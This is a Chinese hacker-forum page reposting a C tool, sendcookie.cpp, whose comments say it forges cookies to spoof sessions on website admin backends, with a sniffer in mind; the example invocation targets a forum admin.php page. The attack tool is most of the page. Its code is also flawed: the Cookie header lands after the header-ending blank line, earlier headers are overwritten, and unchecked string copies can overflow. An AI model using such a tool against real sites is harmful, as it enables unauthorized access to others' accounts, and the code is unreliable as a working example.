主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

新手入门
入侵实例
工具使用
安全防范
黑客人物
软件破解
漏洞研究

 
RHU阅读排行
·Kaspersky杀毒软件klif.sys权限提升漏洞
·OBLOG函数adodb_loadfile()暴库分析[终结]
·SERV-U 6.4提权方法,通杀SERV-U版本
·暴风影音3.7.11.13 爆远程拒绝服务漏洞
·亲身实践 不用密码进入XP系统的方法
·MS06070漏洞攻击代码
·如何利用终端服务入侵远程计算机
·博客入侵太简单 四大漏洞入侵博客
·IIS常见漏洞攻防实战
·DriverStudio Remote Control远程调用认证绕过漏洞及其利用研究

 
 
RHU最新文章
·IE7 0DAY漏洞所用shellcode的分析
·微软发出蠕虫警告 本年度最大漏洞已经出现威胁
·利用XSSDetect自动检测跨站脚本漏洞
·Discuz! 6.x/7.x SODB-2008-13 Exp
·有保险箱的情况下杀掉360安全卫士的BAT脚本代码
·微软Windows WINS服务本地权限提升漏洞
·Coppermine Photo Gallery任意命令执行漏洞
·详解WINRAR的自解压跨站攻击漏洞
·[Advisory]迅雷ActiveX控件远程代码执行漏洞
·首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 黑客帝国-> 漏洞研究
cookie欺骗 sendcookie.cpp

作者:RHU-TAC编辑员 来自:RHU网络编辑 时间:2005-3-2 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


 

作者:swords[E.S.T]
来源:邪恶八进制 中国


代码http://wmjie.51.net/swords/nettools/sendcookie.cpp


/**************************************************************
* File: sendcookie.cpp
* 描述:send cookie to remote host
*    伪造cookie进行后台的cookie欺骗
*    可以结合sniffer使用。。。
* 作者:SworDs
* 日期:2005-1-19
* mailto:swords@eviloctal.com
* url: http://wmjie.51.net/swords
***************************************************************/
//-------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")

int checkpra(int argc,char *argv[]);
void usage();

char ip[20]={0};
USHORT port=0;
char page[128]={0};
char cookie[1024]={0};
SOCKET sock;
struct sockaddr_in sin;
char sendbuf[1024*4]={0};

int main(int argc,char *argv[])
{
    if(checkpra(argc,argv)==-1) return -1;

    WSADATA wsa;
    if(WSAStartup(0x0202,&wsa)!=0)
    {
        printf("WSAStartup failed with error:%d\n",GetLastError());
        return -1;
    }

    sin.sin_family=AF_INET;
    if(inet_addr(ip)!=INADDR_NONE)
        sin.sin_addr.s_addr=inet_addr(ip);
    else
    {
        struct hostent *phost=gethostbyname(ip);
        if(phost==NULL)
        {
              printf("Resolve %s error!\n",ip);
              return -1;
        }
        memcpy(&sin.sin_addr,phost->h_addr_list[0],phost->h_length);
    }
    sin.sin_port=htons(port);
   
    char tempbuf[1024]={0};
    sprintf(tempbuf,"GET %s HTTP/1.1\n",page);
    strcat(sendbuf,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\n");
    strcat(sendbuf,"Content-Type: application/x-www-form-urlencoded\n");
    strcpy(sendbuf,tempbuf);
    memset(tempbuf,0,sizeof(tempbuf));
    sprintf(tempbuf,"HOST: %s\n",ip);
    strcat(sendbuf,tempbuf);
    strcat(sendbuf,"Connection: Keep-Alive\n\n");
    memset(tempbuf,0,sizeof(tempbuf));
    sprintf(tempbuf,"Cookie: %s\n",cookie);
    strcat(sendbuf,tempbuf);


    SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==INVALID_SOCKET)
    {
        printf("Socket() failed with error:%d\n",GetLastError());
        return -1;
    }
    int ret;
    printf("State:Connecting...\n");
    ret=connect(sock,(struct sockaddr*)&sin,sizeof(sin));
    if(ret==SOCKET_ERROR)
    {
        printf("Connect() failed with error:%d\n",GetLastError());
        return -1;
    }
    printf("State:Connected!\n");
    printf("State:Sending cookie...\n");
    ret=send(sock,sendbuf,strlen(sendbuf)+1,0);
    if(ret>0)
        printf("Send success!\n");
    else
        printf("Send error!\n");

    char recvbuf[1024*10]={0};
    ret=recv(sock,recvbuf,sizeof(recvbuf),0);
    if(strstr(recvbuf,"200"))
        printf("sendcookie success!\n\n");
  else
        printf("sendcookie false!\n\n");
    closesocket(sock);
    return 1;
}

void usage()
{
    char pathname[128]={0};
    GetModuleFileName(NULL,pathname,sizeof(pathname));
    char *p=pathname+strlen(pathname)-1;
    for(;*p!='\\';p--);
    printf("-------------------------------------------------------------------------------\n");
    printf("Usage:%s ip port page cookie\n",p+1);
    printf("Code by SworDs--http://wmjie.51.net/swords\n");
    printf("Ex:%s 10.10.0.49 80 /bbs/admin.php cookie\n",p+1);
    printf("-------------------------------------------------------------------------------\n");
}

int checkpra(int argc,char *argv[])
{
    if(argc<4){
        printf("参数输入不正确!");
        return -1;
    }
    strcpy(ip,argv[1]);
    port=atoi(argv[2]);
    strcpy(page,argv[3]);
    strcpy(cookie,argv[4]);
    int n=5;
    while(argv[n]){
        strcat(cookie,argv[n]);
        n++;
    }
    return 0;
}



OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • phpBB 2.0.12非法获取管理员权限及路径泄露漏洞
  • servU 6.0.0.2 本地权限提升漏洞的利用
  • 微软最新九个严重漏洞
  • KorWeblog php远程注入漏洞
  • 智能ABC输入法溢出分析
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com